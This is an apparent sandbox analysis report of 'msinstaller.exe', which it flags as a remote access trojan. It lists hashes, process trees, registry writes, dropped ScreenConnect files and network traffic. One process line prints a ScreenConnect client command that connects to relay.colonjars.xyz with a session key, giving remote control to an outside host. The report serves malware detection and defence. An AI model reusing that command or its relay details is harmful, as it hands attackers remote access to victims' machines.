| File name: | msinstaller.exe |
| Full analysis: | https://app.any.run/tasks/c2d7684b-31b2-4b08-8df3-dddbfb6aaded |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | July 07, 2025, 07:59:56 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections |
| MD5: | EB03BBCDDE6E1CFAC246A2C22C7D074C |
| SHA1: | 107F5CD5B0570282626B3F4D2AB85209765A9F19 |
| SHA256: | DF184522BB030724BBA49FF0ED8B12A3BDECFF31F27DB03E756039AB2E8B6251 |
| SSDEEP: | 98304:askBi2Tt2xyWR+OytH9awXB0DXe3S+5OmxlGwP3AW5JTGG0DR/WeF3K5z/xlLSbj:mDA |
| .exe | | | Win64 Executable (generic) (76.4) |
|---|---|---|
| .exe | | | Win32 Executable (generic) (12.4) |
| .exe | | | Generic Win/DOS Executable (5.5) |
| .exe | | | DOS Executable Generic (5.5) |
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2022:11:18 20:10:20+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 14.33 |
| CodeSize: | 45568 |
| InitializedDataSize: | 5483520 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x14ad |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 304 | C:\Windows\syswow64\MsiExec.exe -Embedding 459FC77F5FDAE6DF01EAEB01AAA9468A | C:\Windows\SysWOW64\msiexec.exe | — | msiexec.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows® installer Exit code: 0 Version: 5.0.19041.3636 (WinBuild.160101.0800) Modules
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| 868 | "C:\Program Files (x86)\ScreenConnect Client (2e23ace84cbf2e73)\ScreenConnect.WindowsClient.exe" "RunRole" "6e1720cc-b2f8-45ad-88b0-5d5de84af317" "User" | C:\Program Files (x86)\ScreenConnect Client (2e23ace84cbf2e73)\ScreenConnect.WindowsClient.exe | ScreenConnect.ClientService.exe | ||||||||||||
User: admin Company: ScreenConnect Software Integrity Level: MEDIUM Description: ScreenConnect Client Version: 24.3.7.9067 Modules
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| 892 | C:\WINDOWS\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:11 | C:\Windows\System32\SrTasks.exe | — | msiexec.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Windows System Protection background tasks. Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 1828 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 3632 | C:\WINDOWS\system32\vssvc.exe | C:\Windows\System32\VSSVC.exe | — | services.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Volume Shadow Copy Service Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 3908 | C:\WINDOWS\system32\msiexec.exe /V | C:\Windows\System32\msiexec.exe | services.exe | ||||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Version: 5.0.19041.1 (WinBuild.160101.0800) Modules
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| 3964 | "C:\Program Files (x86)\ScreenConnect Client (2e23ace84cbf2e73)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.colonjars.xyz&p=8041&s=2151baed-b4b1-4131-95ab-54b2004e8a89&k=BgIAAACkAABSU0ExAAgAAAEAAQCxf7Q1JJOLxwwqMa9tX%2buSjPvkLDdotTG7JV8yTN%2bA%2fDchhxCGvsalveSUcScTdKsOMcmwEyIKeFrt7QO5qmcF2GJVtWwpmLOSHQwZ7oy46WBBInGAYKBoKWELPdwB%2bH2AXVuJ58G4YrxYWryILP%2fEiqVajbcVYwFzhJ0eBTpQFtma2MW2eYEKOK2Wlw1QFq%2bzpQu2yegwhFZfYOd6kw1h3Xx5SvWH5dqAXWHZNzmkYgTgpE35uHnjrKsialMs1YQwn%2faqTlC1sFOjPcnaM2YcUh4s6PVCpL063Gh7VgzJ1cqC7tpj3xOr77yWdVPmtiptTehKiRKbSAOQREFC3E%2bj" | C:\Program Files (x86)\ScreenConnect Client (2e23ace84cbf2e73)\ScreenConnect.ClientService.exe | services.exe | ||||||||||||
User: SYSTEM Integrity Level: SYSTEM Version: 24.3.7.9067 Modules
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| 4088 | rundll32.exe "C:\Users\admin\AppData\Local\Temp\MSI612B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_1532265 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments | C:\Windows\SysWOW64\rundll32.exe | msiexec.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows host process (Rundll32) Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
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| 4088 | C:\Windows\syswow64\MsiExec.exe -Embedding 56B0B97703361ACC4F321777331EEB10 E Global\MSI0000 | C:\Windows\SysWOW64\msiexec.exe | — | msiexec.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows® installer Exit code: 0 Version: 5.0.19041.3636 (WinBuild.160101.0800) Modules
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| 4540 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | SrTasks.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| (PID) Process: | (3908) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppCreate (Enter) |
Value: 48000000000000002A0A452815EFDB01440F0000A81B0000D00700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (3908) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SystemRestore |
| Operation: | write | Name: | SrCreateRp (Enter) |
Value: 48000000000000004D7E1C2815EFDB01440F0000A81B0000D50700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (3908) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGetSnapshots (Enter) |
Value: 48000000000000004D7E1C2815EFDB01440F0000A81B0000D20700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (3908) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGetSnapshots (Leave) |
Value: 48000000000000009F42402815EFDB01440F0000A81B0000D20700000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (3908) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppEnumGroups (Enter) |
Value: 48000000000000009F42402815EFDB01440F0000A81B0000D10700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (3908) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppEnumGroups (Leave) |
Value: 48000000000000009F42402815EFDB01440F0000A81B0000D10700000100000000000000010000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (3908) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGatherWriterMetadata (Enter) |
Value: 480000000000000069AC742815EFDB01440F0000A81B0000D30700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (3632) VSSVC.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer |
| Operation: | write | Name: | IDENTIFY (Enter) |
Value: 4800000000000000FC9D802815EFDB01300E0000BC090000E80300000100000001000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (3632) VSSVC.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer |
| Operation: | write | Name: | IDENTIFY (Enter) |
Value: 4800000000000000FC9D802815EFDB01300E0000FC150000E80300000100000001000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (3632) VSSVC.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer |
| Operation: | write | Name: | IDENTIFY (Enter) |
Value: 4800000000000000FC9D802815EFDB01300E0000B80F0000E80300000100000001000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6900 | msinstaller.exe | C:\Users\admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\2e23ace84cbf2e73\ScreenConnect.ClientSetup.msi | — | |
MD5:— | SHA256:— | |||
| 3908 | msiexec.exe | C:\System Volume Information\SPP\metadata-2 | — | |
MD5:— | SHA256:— | |||
| 3908 | msiexec.exe | C:\Windows\Installer\179134.msi | — | |
MD5:— | SHA256:— | |||
| 4088 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSI612B.tmp-\ScreenConnect.Core.dll | executable | |
MD5:14E7489FFEBBB5A2EA500F796D881AD9 | SHA256:A2E9752DE49D18E885CBD61B29905983D44B4BC0379A244BFABDAA3188C01F0A | |||
| 4088 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSI612B.tmp-\ScreenConnect.InstallerActions.dll | executable | |
MD5:73A24164D8408254B77F3A2C57A22AB4 | SHA256:D727A640723D192AA3ECE213A173381682041CB28D8BD71781524DBAE3DDBF62 | |||
| 3908 | msiexec.exe | C:\Windows\Installer\MSI92CB.tmp | executable | |
MD5:BA84DD4E0C1408828CCC1DE09F585EDA | SHA256:3CFF4AC91288A0FF0C13278E73B282A64E83D089C5A61A45D483194AB336B852 | |||
| 3908 | msiexec.exe | C:\System Volume Information\SPP\snapshot-2 | binary | |
MD5:87CA5596A32F3C951DFA1D5F7D035A63 | SHA256:9595B2E3BD060ECF7E7EAB7F0D8E9CB4153AD63E7BE448EB9FC8441A1F20136B | |||
| 4088 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSI612B.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll | executable | |
MD5:A921A2B83B98F02D003D9139FA6BA3D8 | SHA256:548C551F6EBC5D829158A1E9AD1948D301D7C921906C3D8D6B6D69925FC624A1 | |||
| 4088 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSI612B.tmp-\Microsoft.Deployment.Compression.dll | executable | |
MD5:4717BCC62EB45D12FFBED3A35BA20E25 | SHA256:E04DE7988A2A39931831977FA22D2A4C39CF3F70211B77B618CAE9243170F1A7 | |||
| 4088 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSI612B.tmp-\Microsoft.Deployment.Compression.Cab.dll | executable | |
MD5:77BE59B3DDEF06F08CAA53F0911608A5 | SHA256:9D32032109FFC217B7DC49390BD01A067A49883843459356EBFB4D29BA696BF8 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1268 | svchost.exe | GET | 200 | 2.16.241.12:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 2.16.241.12:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4112 | RUXIMICS.exe | GET | 200 | 2.16.241.12:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4112 | RUXIMICS.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | POST | 500 | 40.91.76.224:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
— | — | POST | 500 | 40.91.76.224:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1268 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4112 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
1268 | svchost.exe | 2.16.241.12:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5944 | MoUsoCoreWorker.exe | 2.16.241.12:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4112 | RUXIMICS.exe | 2.16.241.12:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
1268 | svchost.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
5944 | MoUsoCoreWorker.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
relay.colonjars.xyz |
| unknown |
activation-v2.sls.microsoft.com |
| whitelisted |
dns.msftncsi.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
— | — | Unknown Traffic | ET USER_AGENTS Microsoft Dr Watson User-Agent (MSDW) |